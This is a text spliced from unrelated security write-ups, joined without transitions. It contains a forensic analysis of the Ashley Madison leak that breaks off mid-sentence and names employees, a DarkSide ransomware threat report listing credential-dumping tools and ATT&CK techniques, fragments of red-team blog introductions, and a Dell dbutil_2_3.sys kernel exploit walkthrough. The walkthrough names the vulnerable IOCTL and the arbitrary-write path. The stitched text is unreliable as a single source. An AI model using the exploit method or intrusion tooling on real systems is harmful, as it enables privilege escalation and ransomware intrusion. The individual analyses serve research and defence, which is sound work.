RSA n(4096 bits) - ...
RSA e(17 bits) - ...
Old: User ID Packet(tag 13)(36 bytes)
User ID - Impact Team <[email protected]>
Old: Signature Packet(tag 2)(568 bytes)
Ver 4 - new
Sig type - Positive certification of a User ID and Public Key packet(0x13).
Pub alg - RSA Encrypt or Sign(pub 1)
Hash alg - SHA1(hash 2)
Hashed Sub: signature creation time(sub 2)(4 bytes)
Time - Mon Jul 27 22:15:10 EDT 2015
Hashed Sub: key flags(sub 27)(1 bytes)
Flag - This key may be used to certify other keys
Flag - This key may be used to sign data
Hashed Sub: preferred symmetric algorithms(sub 11)(5 bytes)
Sym alg - AES with 256-bit key(sym 9)
Sym alg - AES with 192-bit key(sym 8)
Sym alg - AES with 128-bit key(sym 7)
Sym alg - CAST5(sym 3)
Sym alg - Triple-DES(sym 2)
Hashed Sub: preferred hash algorithms(sub 21)(5 bytes)
Hash alg - SHA256(hash 8)
Hash alg - SHA1(hash 2)
Hash alg - SHA384(hash 9)
Hash alg - SHA512(hash 10)
Hash alg - SHA224(hash 11)
Hashed Sub: preferred compression algorithms(sub 22)(3 bytes)
Comp alg - ZLIB <RFC1950>(comp 2)
Comp alg - BZip2(comp 3)
Comp alg - ZIP <RFC1951>(comp 1)
Hashed Sub: features(sub 30)(1 bytes)
Flag - Modification detection (packets 18 and 19)
Hashed Sub: key server preferences(sub 23)(1 bytes)
Flag - No-modify
Sub: issuer key ID(sub 16)(8 bytes)
Key ID - 0x24373CD574ABAA38
Hash left 2 bytes - e3 95
RSA m^d mod n(4096 bits) - ...
-> PKCS-1
Old: Public Subkey Packet(tag 14)(525 bytes)
Ver 4 - new
Public key creation time - Mon Jul 27 22:15:10 EDT 2015
Pub alg - RSA Encrypt or Sign(pub 1)
RSA n(4096 bits) - ...
RSA e(17 bits) - ...
Old: Signature Packet(tag 2)(543 bytes)
Ver 4 - new
Sig type - Subkey Binding Signature(0x18).
Pub alg - RSA Encrypt or Sign(pub 1)
Hash alg - SHA1(hash 2)
Hashed Sub: signature creation time(sub 2)(4 bytes)
Time - Mon Jul 27 22:15:10 EDT 2015
Hashed Sub: key flags(sub 27)(1 bytes)
Flag - This key may be used to encrypt communications
Flag - This key may be used to encrypt storage
Sub: issuer key ID(sub 16)(8 bytes)
Key ID - 0x24373CD574ABAA38
Hash left 2 bytes - 0b 61
RSA m^d mod n(4095 bits) - ...
-> PKCS-1
We can verify the released files are attributable to the PGP public key
in question using the following commands:
$ gpg --import ./74ABAA38.txt
$ gpg --verify ./member_details.dump.gz.asc ./member_details.dump.gz
gpg: Signature made Sat 15 Aug 2015 11:23:32 AM EDT using RSA key ID 74ABAA38
gpg: Good signature from "Impact Team <[email protected]>"
gpg: WARNING: This key is not certified with a trusted signature!
gpg: There is no indication that the signature belongs to the owner.
Primary key fingerprint: 6E50 3F39 BA6A EAAD D81D ECFF 2437 3CD5 74AB AA38
This also tells us at what date the dump was signed and packaged.
———–[Catching the attackers]
The PGP key’s meta-data shows a user ID for the mailtor dark web email service. The last known location of which was: http://mailtoralnhyol5v.onion
Don’t bother emailing the email address found in the PGP key as it does not have a valid MX record. The fact that this exists at all seems to be one of those interesting artifact of what happens when Internet tools like GPG get used on the dark web.
If the AM attackers were to be caught; here (in no particular order) are the most likely ways this would happen:
The person(s) responsible tells somebody. Nobody keeps something like this a secret, if the attackers tell anybody, they’re likely going to get caught.
If the attackers review email from a web browser, they might get revealed via federal law enforcement or private investigation/IR teams hired by AM. The FBI is known to have these capabilities.
If the attackers slip up with their diligence in messaging only via TXT and HTML on the web server. Meta-data sinks ships kids — don’t forget.
If the attackers slip up with their diligence on configuring their server. One bad config of a web server leaks an internal IP, or worse!
The attackers slipped up during their persistent attack against AM and investigators hired by AM find evidence leading back to the attackers.
The attackers have not masked their writing or image creation style and leave some semantic finger print from which they can be profiled.
If none of those things happen, I don’t think these attackers will ever be caught. The cyber-crime fighters have a daunting task in front of them, I’ve helped out a couple FBI and NYPD cyber-crime fighters and I do not envy the difficult and frustrating job they have — good luck to them! Today we’re living in the Wild West days of the Internet.
———–[Leaked file extraction and evidence gathering]
Now to document the information seen within this data leak we proceed with a couple of commands to gather the file size and we’ll also check the file hashes to ensure the uniqueness of the files. Finally we review the meta-data of some of the compressed files. The meta-data shows the time-stamp embedded into the various compressed files. Although meta-data can easily be faked, it is usually not.
Next we’ll extract these files and examine their file size to take a closer look.
$ 7z e ashleymadisondump.7z
We find within the extracted 7zip file another 7zip file
“swappernet_User_Table.7z” was found and also extracted.
We now have the following files sizes and SHA1 hashes for evidence
integrity & auditing purposes:
$ du -sh ashleymadisondump/*
68K 20131002-domain-list.xlsx
52K ALMCLUSTER (production domain) computers.txt
120K ALMCLUSTER (production domain) hashdump.txt
68K ALM - Corporate Chart.pptx
256K ALM Floor Plan - ports and names.pdf
8.0M ALM - January 2015 - Company Overview.pptx
1.8M ALM Labs Inc. Articles of Incorporation.pdf
708K announcement.png
8.0K Areas of concern - customer data.docx
8.0K ARPU and ARPPU.docx
940K Ashley Madison Technology Stack v5(1).docx
16K Avid Life Media - Major Shareholders.xlsx
36K AVIDLIFEMEDIA (primary corporate domain) computers.txt
332K AVIDLIFEMEDIA (primary corporate domain) user information and hashes.txt
1.7M Avid Org Chart 2015 - May 14.pdf
24K Banks.xlsx
6.1M Copies of Option Agreements.pdf
8.0K Credit useage.docx
16K CSF Questionnaire (Responses).xlsx
132K Noel's loan agreement.pdf
8.0K Number of traveling man purchases.docx
1.5M oneperday_am_am_member.txt
940K oneperday_aminno_member.txt
672K oneperday.txt
44K paypal accounts.xlsx
372K [email protected]_20101103_133855.pdf
16K q2 2013 summary compensation detail_managerinput_trevor-s team.xlsx
8.0K README.txt
8.0K Rebill Success Rate Queries.docx
8.0K Rev by traffic source rebill broken out.docx
8.0K Rev from organic search traffic.docx
4.0K Sales Queries
59M swappernet_QA_User_Table.txt #this was extracted from swappernet_User_Table.7z in the same dir
17M swappernet_User_Table.7z
$ sha1sum ashleymadisondump/*
f0af9ea887a41eb89132364af1e150a8ef24266f 20131002-domain-list.xlsx
30401facc68dab87c98f7b02bf0a986a3c3615f0 ALMCLUSTER (production domain) computers.txt
c36c861fd1dc9cf85a75295e9e7bcf6cf04c7d2c ALMCLUSTER (production domain) hashdump.txt
6be635627aa38462ebcba9266bed5b492a062589 ALM - Corporate Chart.pptx
4dec7623100f59395b68fd13d3dcbbff45bef9c9 ALM Floor Plan - ports and names.pdf
601e0b462e1f43835beb66743477fe94bbda5293 ALM - January 2015 - Company Overview.pptx
d17cb15a5e3af15bc600421b10152b2ea1b9c097 ALM Labs Inc. Articles of Incorporation.pdf
1679eca2bc172cba0b5ca8d14f82f9ced77f10df announcement.png
6a618e7fc62718b505afe86fbf76e2360ade199d Areas of concern - customer data.docx
91f65350d0249211234a52b260ca2702dd2eaa26 ARPU and ARPPU.docx
50acee0c8bb27086f12963e884336c2bf9116d8a Ashley Madison Technology Stack v5(1).docx
71e579b04bbba4f7291352c4c29a325d86adcbd2 Avid Life Media - Major Shareholders.xlsx
ef8257d9d63fa12fb7bc681320ea43d2ca563e3b AVIDLIFEMEDIA (primary corporate domain) computers.txt
ec54caf0dc7c7206a7ad47dad14955d23b09a6c0 AVIDLIFEMEDIA (primary corporate domain) user information and hashes.txt
614e80a1a6b7a0bbffd04f9ec69f4dad54e5559e Avid Org Chart 2015 - May 14.pdf
c3490d0f6a09bf5f663cf0ab173559e720459649 Banks.xlsx
1538c8f4e537bb1b1c9a83ca11df9136796b72a3 Copies of Option Agreements.pdf
196b1ba40894306f05dcb72babd9409628934260 Credit useage.docx
2c9ba652fb96f6584d104e166274c48aa4ab01a3 CSF Questionnaire (Responses).xlsx
0068bc3ee0dfb796a4609996775ff4609da34acb Noel's loan agreement.pdf
c3b4d17fc67c84c54d45ff97eabb89aa4402cae8 Number of traveling man purchases.docx
9e6f45352dc54b0e98932e0f2fe767df143c1f6d oneperday_am_am_member.txt
de457caca9226059da2da7a68caf5ad20c11de2e oneperday_aminno_member.txt
d596e3ea661cfc43fd1da44f629f54c2f67ac4e9 oneperday.txt
37fdc8400720b0d78c2fe239ae5bf3f91c1790f4 paypal accounts.xlsx
2539bc640ea60960f867b8d46d10c8fef5291db7 [email protected]_20101103_133855.pdf
5bb6176fc415dde851262ee338755290fec0c30c q2 2013 summary compensation detail_managerinput_trevor-s team.xlsx
5435bfbf180a275ccc0640053d1c9756ad054892 README.txt
872f3498637d88ddc75265dab3c2e9e4ce6fa80a Rebill Success Rate Queries.docx
d4e80e163aa1810b9ec70daf4c1591f29728bf8e Rev by traffic source rebill broken out.docx
2b5f5273a48ed76cd44e44860f9546768bda53c8 Rev from organic search traffic.docx
sha1sum: Sales Queries: Is a directory
0f63704c118e93e2776c1ad0e94fdc558248bf4e swappernet_QA_User_Table.txt
9d67a712ef6c63ae41cbba4cf005ebbb41d92f33 swappernet_User_Table.7z
———–[Quick summary of each of the leaked files]
The following files are MySQL data dumps of the main AM database:
member_details.dump.gz
aminno_member.dump.gz
member_login.dump.gz
aminno_member_email.dump.gz
CreditCardTransactions.7z
Also included was another AM database which contains user info (separate from the emails):
am_am.dump.gz
In the top level directory you can also find these additional files:
74ABAA38.txt
Impact Team’s Public PGP key used for signing the releases (The .asc files are the signatures)
ashleymadisondump.7z
This contains various internal and corporate private files.
README
Impact Team’s justification for releasing the user data.
Various .asc files such as “member_details.dump.gz.asc”
These are all PGP signature files to prove that one or more persons who are part of the “Impact Team” attackers released them.
Within the ashleymadisondump.7z we can extract and view the following files:
Number of traveling man purchases.docx
SQL queries to investigate high-travel user’s purchases.
AVIDLIFEMEDIA (primary corporate domain) user information and hashes.txt
AVIDLIFEMEDIA (primary corporate domain) computers.txt
The output of the dnscmd windows command executing on what appears to be a primary domain controller. The timestamp indicates that the command was run on July 1st 2015. There is also “pwdump” style export of 1324 user accounts which appear to be from the ALM domain controller. These passwords will be easy to crack as NTLM hashes aren’t the strongest
Noel’s loan agreement.pdf
A promissory note for the CEO to pay back ~3MM in Canadian monies.
Areas of concern – customer data.docx
Appears to be a risk profile of the major security concerns that ALM has regarding their customer’s data. And yes, a major user data dump is on the list of concerns.
Banks.xlsx
A listing of all ALM associated bank account numbers and the biz which owns them.
Rev by traffic source rebill broken out.docx
Rebill Success Rate Queries.docx
Both of these are SQL queries to investigate Rebilling of customers.
README.txt
Impact Team statement regarding their motivations for the attack and leak.
Copies of Option Agreements.pdf
All agreements for what appears all of the company’s outstanding options.
paypal accounts.xlsx
Various user/passes for ALM paypal accounts (16 in total)
swappernet_QA_User_Table.txt
swappernet_User_Table.7z
This file is a database export into CSV format. I appears to be from a QA server
ALMCLUSTER (production domain) computers.txt
The output of the dnscmd windows command executing on what appears to be a production domain controller. The timestamp indicates that the command was run on July 1st 2015.
ALMCLUSTER (production domain) hashdump.txt
A “pwdump” style export of 1324 user accounts which appear to be from the ALM domain controller. These passwords will be easy to crack as NTLM hashes aren’t the strongest.
ALM Floor Plan – ports and names.pdf
Seating map of main office, this type of map is usually used for network deployment purposes.
ARPU and ARPPU.docx
A listing of SQL commands which provide revenue and other macro financial health info.
Presumably these queries would run on the primary DB or a biz intel slave.
Credit useage.docx
SQL queries to investigate credit card purchases.
Avid Org Chart 2015 – May 14.pdf
A per-team organizational chart of what appears to be the entire company.
announcement.png
The graphic created by Impact Team to announce their demand for ALM to shut down it’s flagship website AM.
[email protected]_20101103_133855.pdf
Contract outlining the terms of a purchase of the biz Seekingarrangement.com
CSF Questionnaire (Responses).xlsx
Company exec Critical Success Factors spreadsheet. Answering questions like “In what area would you hate to see something go wrong?” and the CTO’s response is about hacking.
ALM – January 2015 – Company Overview.pptx
This is a very detailed breakdown of current biz health, marketing spend, and future product plans.
Ashley Madison Technology Stack v5(1).docx
A detailed walk-through of all major servers and services used in the ALM production environment.
oneperday.txt
oneperday_am_am_member.txt
oneperday_aminno_member.txt
These three files have limited leak info as a “teaser” for the .dump files that are found in the highest level directory of the AM leak.
Rev from organic search traffic.docx
SQL queries to explore the revenue generated from search traffic.
20131002-domain-list.xlsx
BA list of the 1083 domain names that are, have been, or are seeking to be owned by ALM.
Sales Queries/
Empty Directory
ALM Labs Inc. Articles of Incorporation.pdf
The full 109 page Articles of Incorporation, ever aspect of inital company formation.
ALM – Corporate Chart.pptx
A detailed block diagram defining the relationship between various tax and legal business entity names related to ALM businesses.
Avid Life Media – Major Shareholders.xlsx
A listing of each major shareholder and their equity stake
———–[File meta-data analysis]
First we’ll take a look at the 7zip file in the top level directory.
If we’re to believe this meta-data, the newest file is from July 19th 2015 and the oldest is from October 19th 2012. The timestamp for the file announcement.png shows a creation date of July 10th 2015. This file is the graphical announcement from the leakers. The file swappernet_User_Table.7z
has a timestamp of July 9th 2015. Since this file is a database dump, one might presume that these files were created for the original release and the other files were copied from a file-system that preserves timestamps.
Within that 7zip file we’ve found another which looks like:
Within the ashleymadisondump directory extracted from ashleymadisondump.7z we’ve got
the following file types that we’ll examine for meta-data:
8 txt
8 docx
6 xlsx
6 pdf
2 pptx
1 png
1 7z
The PNG didn’t seem to have any EXIF meta-data, and we’ve already covered the 7z file.
The text files probably don’t usually yield anything to us meta-data wise.
In the MS Word docx files we have the following meta-data:
Areas of concern – customer data.docx
No Metadata
ARPU and ARPPU.docx
No Metadata
Ashley Madison Technology Stack v5(1).docx
Created Michael Morris, created and last modified on Sep 17 2013.
Credit useage.docx
No Metadata
Number of traveling man purchases.docx
No Metadata
Rebill Success Rate Queries.docx
No Metadata
Rev by traffic source rebill broken out.docx
No Metadata
Rev from organic search traffic.docx
No Metadata
In the MS Powerpoint pptx files we have the following meta-data:
ALM – Corporate Chart.pptx
Created by “Diana Horvat” on Dec 5 2012 and last updated by “Tatiana Kresling”
on Dec 13th 2012
ALM – January 2015 – Company Overview.pptx
Created Rizwan Jiwan, Jan 21 2011 and last modified on Jan 20 2015.
In the MS Excel xlsx files we have the following meta-data:
20131002-domain-list.xlsx
Written by Kevin McCall, created and last modified Oct 2nd 2013
Avid Life Media – Major Shareholders.xlsx
Jamal Yehia, created and last modified July 15th 2013
Banks.xlsx
Created by “Elena” and Keith Lalonde, created Dec 15 2009 and last modified Feb 26th 2010
CSF Questionnaire (Responses).xlsx
No Metadata
paypal accounts.xlsx
Created by Keith Lalonde, created Oct 28 2010 and last modified Dec 22nd 2010
q2 2013 summary compensation detail_managerinput_trevor-s team.xlsx
No Metadata
And finally within the PDF files we also see additional meta-data:
ALM Floor Plan – ports and names.pdf
Written by Martin Price in MS Visio, created and last modified April 23 2015
ALM Labs Inc. Articles of Incorporation.pdf
Created with DocsCorp Pty Ltd (www.docscorp.com), created and last modified on Oct 17 2012
Avid Org Chart 2015 – May 14.pdf
Created and last modified on May 14 2015
Copies of Option Agreements.pdf
OmniPage CSDK 16 OcrToolkit, created and last modified on Oct 16 2012
Noel’s loan agreement.pdf
Created and last modified on Sep 18 2013
[email protected]_20101103_133855.pdf
Created and last modified on Jul 7 2015
———–[MySQL Dump file loading and evidence gathering]
At this point all of the dump files have been decompressed with gunzip or 7zip. The dump files are standard MySQL backup file (aka Dump files) the info in the dump files implies that it was taken from multiple servers:
$ grep 'MySQL dump' *.dump
am_am.dump:-- MySQL dump 10.13 Distrib 5.5.33, for Linux (x86_64)
aminno_member.dump:-- MySQL dump 10.13 Distrib 5.5.40-36.1, for Linux (x86_64)
aminno_member_email.dump:-- MySQL dump 10.13 Distrib 5.5.40-36.1, for Linux (x86_64)
member_details.dump:-- MySQL dump 10.13 Distrib 5.5.40-36.1, for Linux (x86_64)
member_login.dump:-- MySQL dump 10.13 Distrib 5.5.40-36.1, for Linux (x86_64)
Also within the dump files was info referencing being executed from localhost, this implies an attacker was on the Database server in question.
Of course, all of this info is just text and can easily be faked, but it’s interesting none-the-less considering the possibility that it might be correct and unaltered.
To load up the MySQL dumps we’ll start with a fresh MySQL database instance
on a decently powerful server and run the following commands:
--As root MySQL user
CREATE DATABASE aminno;
CREATE DATABASE am;
CREATE USER 'am'@'localhost' IDENTIFIED BY 'loyaltyandfidelity';
GRANT ALL PRIVILEGES ON aminno.* TO 'am'@'localhost';
GRANT ALL PRIVILEGES ON am.* TO 'am'@'localhost';
Now back at the command line we’ll execute these to import the main dumps:
$ mysql -D aminno -uam -ployaltyandfidelity < aminno_member.dump
$ mysql -D aminno -uam -ployaltyandfidelity < aminno_member_email.dump
$ mysql -D aminno -uam -ployaltyandfidelity < member_details.dump
$ mysql -D aminno -uam -ployaltyandfidelity < member_login.dump
$ mysql -D am -uam -ployaltyandfidelity < am_am.dump
Now that you’ve got the data loaded up you can recreate some of the findings ksugihara made with his analysis here [Edit: It appears ksugihara has taken this offline, I don’t have a mirror]. We didn’t have much more to add for holistic statistics analysis than what he’s already done so check out his blog post for more on the primary data dumps. There still is one last final database export though…
Within the file ashleymadisondump/swappernet_QA_User_Table.txt we have a final database export, but this one is not in the MySQL dump format. It is instead in CSV format. The file name implies this was an export from a QA Database server.
This file has the following columns (left to right in the CSV):
recid
id
username
userpassword
refnum
disable
ipaddress
lastlogin
lngstatus
strafl
ap43
txtCoupon
bot
Sadly within the file we see user passwords are in clear text which is always a bad security practice. At the moment though we don’t know if these are actual production user account passwords, and if so how old they are. My guess is that these are from an old QA server when AM was a smaller company and hadn’t moved to secure password hashing practices like bcrypt.
These commands show us there are 765,607 records in this database export and
only four of them have a blank password. Many of the passwords repeat and
397,974 of the passwords are unique.
After importing the CSV into MS excel we can use sort and filter to make some
additional statements based on the data.
The only logins marked as “lastlogin” column in the year 2015 are from the
following users:
SIMTEST101
SIMTEST130
JULITEST2
JULITEST3
swappernetwork
JULITEST4
HEATSEEKERS
The final and most recent login was from AvidLifeMedia’s office IP range.
275,285 of these users have an entry for the txtCupon.
All users with the “bot” column set to TRUE have either passwords
Over the past week we have seen a considerable body of work focusing on DarkSide, the ransomware responsible for the recent gas pipeline shutdown. Many of the excellent technical write-ups will detail how it operates an affiliate model that supports others to be involved within the ransomware business model (in addition to the developers). While this may not be a new phenomenon, this model is actively deployed by many groups with great effect. Herein is the crux of the challenge: while the attention may be on DarkSide ransomware, the harsh reality is that equal concern should be placed at Ryuk, or REVIL, or Babuk, or Cuba, etc. These, and other groups and their affiliates, exploit common entry vectors and, in many cases, the tools we see being used to move within an environment are the same. While this technical paper covers DarkSide in more detail, we must stress the importance of implementing best practices in securing/monitoring your network. These additional publications can guide you in doing so:
As mentioned earlier, DarkSide is a Ransomware-as-a-Service (RaaS) that offers high returns for penetration-testers that are willing to provide access to networks and distribute/execute the ransomware. DarkSide is an example of a RaaS whereby they actively invest in development of the code, affiliates, and new features. Alongside their threat to leak data, they have a separate option for recovery companies to negotiate, are willing to engage with the media, and are willing to carry out a Distributed Denial of Service (DDoS) attack against victims. Those victims who do pay a ransom receive an alert from DarkSide on companies that are on the stock exchange who are breached, in return for their payment. Potential legal issues abound, not to mention ethical concerns, but this information could certainly provide an advantage in short selling when the news breaks.
The group behind DarkSide are also particularly active. Using MVISION Insights we can identify the prevalence of targets. This map clearly illustrates that the most targeted geography is clearly the United States (at the time of writing). Further, the sectors primarily targeted are Legal Services, Wholesale, and Manufacturing, followed by the Oil, Gas and Chemical sectors.
Customers using MVISION Insights will find a threat-profile on this ransomware family that is updated when new and relevant information becomes available.
Early Detection
MVISION EDR includes detections on many of the behaviors used in the attack including privilege escalation, malicious PowerShell and CobaltStrike beacons, and visibility of discovery commands, command and control, and other tactics along the attack chain. We have EDR telemetry indicating early detection before the detonation of the Ransomware payload.
Prevention
ENS TP provides coverage against known indicators in the latest signature set. Updates on new indicators are pushed through GTI.
ENS ATP provides behavioral content focusing on proactively detecting the threat while also delivering known IoCs for both online and offline detections.
ENS ATP adds two (2) additional layers of protection thanks to JTI rules that provide attack surface reduction for generic ransomware behaviors and RealProtect (static and dynamic) with ML models targeting ransomware threats.
For the latest mitigation guidance, please review:
The RaaS platform offers the affiliate the option to build either a Windows or Unix version of the ransomware. Depending on what is needed, we observe that affiliates are using different techniques to circumvent detection, by masquerading the generated Windows binaries of DarkSide. Using several packers or signing the binary with a certificate are some of the techniques used to do so.
As peers in our industry have described, we also observed campaigns where the affiliates and their hacking crew used several ways to gain initial access to their victim’s network.
Using valid accounts, exploit vulnerabilities on servers or RDP for initial stage
Next, establish a beachhead in the victim’s network by using tools like Cobalt-Strike (beacons), RealVNC, RDP ported over TOR, Putty, AnyDesk and TeamViewer. TeamViewer is what we also see back in the config of the ransomware sample:
The configuration of the ransomware contains several options to enable or disable system processes, but also the above part where it states which processes should not be killed.
As mentioned before, a lot of the current Windows samples in the wild are the 1.8 version of DarkSide, others are the 2.1.2.3 version. In a chat one of the actors revealed that a V3 version will be released soon.
On March 23rd, 2021, on XSS, one of the DarkSide spokespersons announced an update of DarkSide as a PowerShell version and a major upgrade of the Linux variant:
In the current samples we observe, we do see the PowerShell component that is used to delete the Volume Shadow copies, for example.
Once a strong foothold has been established, several tools are used by the actors to gain more privileges.
Tools observed:
Mimikatz
Dumping LSASS
IE/FireFox password dumper
Powertool64
Empire
Bypassing UAC
Once enough privileges are gained, it is time to map out the network and identify the most critical systems like servers, storage, and other critical assets. A selection of the below tools was observed to have been used in several cases:
BloodHound
ADFind
ADRecon
IP scan tools
Several Windows native tools
PowerShell scripts
Before distributing the ransomware around the network using tools like PsExec and PowerShell, data was exfiltrated to Cloud Services that would later be used on the DarkSide Leak page for extortion purposes. Zipping the data, using Rclone or WinSCP are some of the examples observed.
While a lot of good and in-depth analyses are written by our peers, one thing worth noting is that when running DarkSide, the encryption process is fast. It is one of the areas the actors brag about on the same forum and do a comparison to convince affiliates to join their program:
DarkSide, like Babuk ransomware, has a Linux version. Both target *nix systems but in particular VMWare ESXi servers and storage/NAS. Storage/NAS is critical for many companies, but how many of you are running a virtual desktop, hosted on a ESXi server?
Darkside wrote a Linux variant that supports the encryption of ESXI server versions 5.0 – 7.1 as well as NAS technology from Synology. They state that other NAS/backup technologies will be supported soon.
In the code we clearly observe this support:
Also, the configuration of the Linux version shows it is clearly looking for Virtual Disk/memory kind of files:
Although the adversary recently claimed to vote for targets, the attacks are ongoing with packed and signed samples observed as recently as today (May 12, 2021):
Conclusion
Recently the Ransomware Task Force, a partnership McAfee is proud to be a part of, released a detailed paper on how ransomware attacks are occurring and how countermeasures should be taken. As many of us have published, presented on, and released research upon, it is time to act. Please follow the links included within this blog to apply the broader advice about applying available protection and detection in your environment against such attacks.
MITRE ATT&CK Techniques Leveraged by DarkSide:
Data Encrypted for Impact – T1486
Inhibit System Recovery – T1490
Valid Accounts – T1078
PowerShell – T1059.001
Service Execution – T1569.002
Account Manipulation – T1098
Dynamic-link Library Injection – T1055.001
Account Discovery – T1087
Bypass User Access Control – T1548.002
File Permissions Modification – T1222
System Information Discovery – T1082
Process Discovery – T1057
Screen Capture – T1113
Compile After Delivery – T1027.004
Credentials in Registry – T1552.002
Obfuscated Files or Information – T1027
Shared Modules – T1129
Windows Management Instrumentation – T1047
Exploit Public-Facing Application – T1190
Phishing – T1566
External Remote Services – T1133
Multi-hop Proxy – T1090.003
Exploitation for Privilege Escalation – T1068
Application Layer Protocol – T1071
Bypass User Account Control – T1548.002
Commonly Used Port – T1043
Compile After Delivery – T1500
Credentials from Password Stores – T1555
Credentials from Web Browsers – T1555.003
Credentials in Registry – T1214
Deobfuscate/Decode Files or Information – T1140
Disable or Modify Tools – T1562.001
Domain Account – T1087.002
Domain Groups – T1069.002
Domain Trust Discovery – T1482
Exfiltration Over Alternative Protocol – T1048
Exfiltration to Cloud Storage – T1567.002
File and Directory Discovery – T1083
Gather Victim Network Information – T1590
Ingress Tool Transfer – T1105
Linux and Mac File and Directory Permissions Modification – T1222.002
Recently I've been looking at the .NET CLR internals and wanted to understand what further techniques may be available for executing unmanaged code from the managed runtime. This post contains a snipped of some of the weird techniques that I found.
In this post, we are going to look at the Application Proxy protocol, how it works, and show how we can recreate enough functionality to allow us to create a custom inbound proxy into a client environment for our C2 traffic.
We've all been there, you've completed your initial recon, sent in your emails to gather those leaked HTTP headers, spent an age configuring your malleable profile to be just right, set up your CDNs and spun up your redirectors. Then it's time, you send in your email aaaaaand... nothing.
For a while I've wanted to explore the concept of leveraging a virtual machine on target during an engagement. The thought of having implant logic self-contained and running under a different OS to the base seems pretty interesting. But more so, I've been curious as to just how far traditional AV and EDR can go to detect malicious activity when running from a different virtual environment. While this is a nice idea, the issues with creating this type of malware are obvious, with increased comple...
While working on some tooling recently I revisited the topic of .NET unmanaged exports and wanted to know just why this works in the way that it does. After all, by now we've all seen the COM calls required to spin up the CLR, so what makes unmanaged exports so special?
Recently I said I was going to focus on browser exploitation with Advanced Windows Exploitation being canceled. With this cancellation, I found myself craving a binary exploitation training, with AWE now being canceled for the previous two years. I found myself enrolled in HackSysTeam’s Windows Kernel Exploitation Advanced course, which will be taking place at the end of this month at CanSecWest, due to the cancellation. I have already delved into the basics of kernel exploitation, and I had been looking to complete a few exercises to prepare for the end of the month, and shake the rust off.
I stumbled across this SentinelOne blog post the other day, which outlined a few vulnerabilities in Dell’s dbutil_2_3.sys driver, including a memory corruption vulnerability. Although this vulnerability was attributed to Kasif Dekel, it apparently was discovered earlier by Yarden Shafir and Staoshi Tanda, coworkers of mine at CrowdStrike.
After reading Kasif’s blog post, which practically outlines the entire vulnerability and does an awesome job of explaining things and giving researchers a wonderful starting point, I decided that I would use this opportunity to get ready for Windows Kernel Exploitation Advanced at the end of the month.
I also decided, because Kasif leverages a data-only attack, instead of something like corrupting page table entries, that I would try to recreate this exploit by achieving a full SYSTEM shell via page table corruption. The final result ended up being a weaponized exploit. I wanted to take this blog post to showcase just a few of the “checks” that needed to be bypassed in the kernel in order to reach the final arbitrary read/write primitive, as well as why modern mitigations such as Virtualization-Based Security (VBS) and Hypervisor-Protected Code Integrity (HVCI) are so important in today’s threat landscape.
In addition, three of my favorite things to do are to write, conduct vulnerability research, and write code - so regardless of if you find this blog helpful/redundant, I just love to write blogs at the end of the day :-). I also hope this blog outlines, as I mentioned earlier, why it is important mitigations like VBS/HVCI become more mainstream and that at the end of the day, these two mitigations in tandem could have prevented this specific method of exploitation (note that other methods are still viable, such as a data-only attack as Kasif points out).
Arbitrary Write Primitive
I will not attempt to reinvent the wheel here, as Kasif’s blog post explains very well how this vulnerability arises, but the tl;dr on the vulnerability is there is an IOCTL code that any client can trigger with a call to DeviceIoControl that eventually reaches a memmove routine, in which the user-supplied buffer from the vulnerable IOCTL routine is used in this call.
Let’s get started with the analysis. As is accustom in kernel exploits, we first need a way, generally speaking, to interact with the driver. As such, the first step is to obtain a handle to the driver. Why is this? The driver is an object in kernel mode, and as we are in user mode, we need some intermediary way to interact with the driver. In order to do this, we need to look at how the DEVICE_OBJECT is created. A DEVICE_OBJECT generally has a symbolic link which references it, that allows clients to interact with the driver. This object is what clients interact with. We can use IDA in our case to locate the name of the symbolic link. The DriverEntry function is like a main() function in a kernel mode driver. Additionally, DriverEntry functions are prototyped to accept a pointer to a DRIVER_OBJECT, which is essentially a “representation” of a driver, and a RegistryPath. Looking at Microsoft documentation of a DRIVER_OBJECT, we can see one of the members of this structure is a pointer to a DEVICE_OBJECT.
Loading the driver in IDA, in the Functions window under Function name, you will see a function called DriverEntry.
This entry point function, as we can see, performs a jump to another function, sub_11008. Let’s examine this function in IDA.
As we can see, the \Device\DBUtil_2_3 string is used in the call to IoCreateDevice to create a DEVICE_OBJECT. For our purposes, the target symbolic link, since we are a user-mode client, will be \\\\.\\DBUtil_2_3.
Now that we know what the target symbolic link is, we then need to leverage CreateFile to obtain a handle to this driver.
We will start piecing the code together shortly, but this is how we obtain a handle to interact with the driver.
The next function we need to call is DeviceIoControl. This function will allow us to pass the handle to the driver as an argument, and allow us to send data to the driver. However, we know that drivers create I/O Control (IOCTL) routines that, based on client input, perform different actions. In this case, this driver exposes many IOCTL routines. One way to determine if a function in IDA contains IOCTL routines, although it isn’t fool proof, is looking for many branches of code with cmp eax, DWORD. IOCTL codes are DWORDs and drivers, especially enterprise grade drivers, will perform many different actions based on the IOCTL specified by the client. Since this driver doesn’t contain many functions, it is relatively trivial to locate a function which performs many of these validations.
Per Kasif’s research, the vulnerable IOCTL in this case is 0x9B0C1EC8. In this function, sub_11170, we can look for a cmp eax, 9B0C1EC8h instruction, which would be indicative that if the vulnerable IOCTL code is specified, whatever code branches out from that compare statement would lead us to the vulnerable code path.
This compare, if successful, jumps to an xor edx, edx instruction.
After the XOR instruction incurs, program execution hits the loc_113A2 routine, which performs a call to the function sub_15294.
If you recall from Kasif’s blog post, this is the function in which the vulnerable code resides in. We can see this in the function, by the call to memmove.
What primitive do we have here? As Kasif points out, we “can control the arguments to memmove” in this function. We know that we can hit this function, sub_15294, which contains the call to memmove. Let’s take a look at the prototype for memmove, as seen here.
As seen above, memmove allows you to move a pointer to a block of memory into another pointer to a block of memory. If we can control the arguments to memmove, this gives us a vanilla arbitrary write primitive. We will be able to overwrite any pointer in kernel mode with our own user-supplied buffer! This is great - but the question remains, we see there are tons of code branches in this driver. We need to make sure that from the time our IOCTL code is checked and we are directed towards our code path, that any compare statements/etc. that arise are successfully dealt with, so we can reach the final memmove routine. Let’s begin by sending an arbitrary QWORD to kernel mode.
After loading the driver on the debuggee machine, we can start a kernel-mode debugging session in WinDbg. After verifying the driver is loaded, we can use IDA to locate the offset to this function and then set a breakpoint on it.
Next, after running the POC on the debuggee machine, we can see execution hits the breakpoint successfully and the target instruction is currently in RIP and our target IOCTL is in the lower 32-bits of RAX, EAX.
After executing the cmp statement and the jump, we can see now that we have landed on the XOR instruction, per our static analysis with IDA earlier.
Then, execution hits the call to the function (sub+15294) which contains the memmove routine - so far so good!
We can see now we have landed inside of the function call, and a new stack frame is being created.
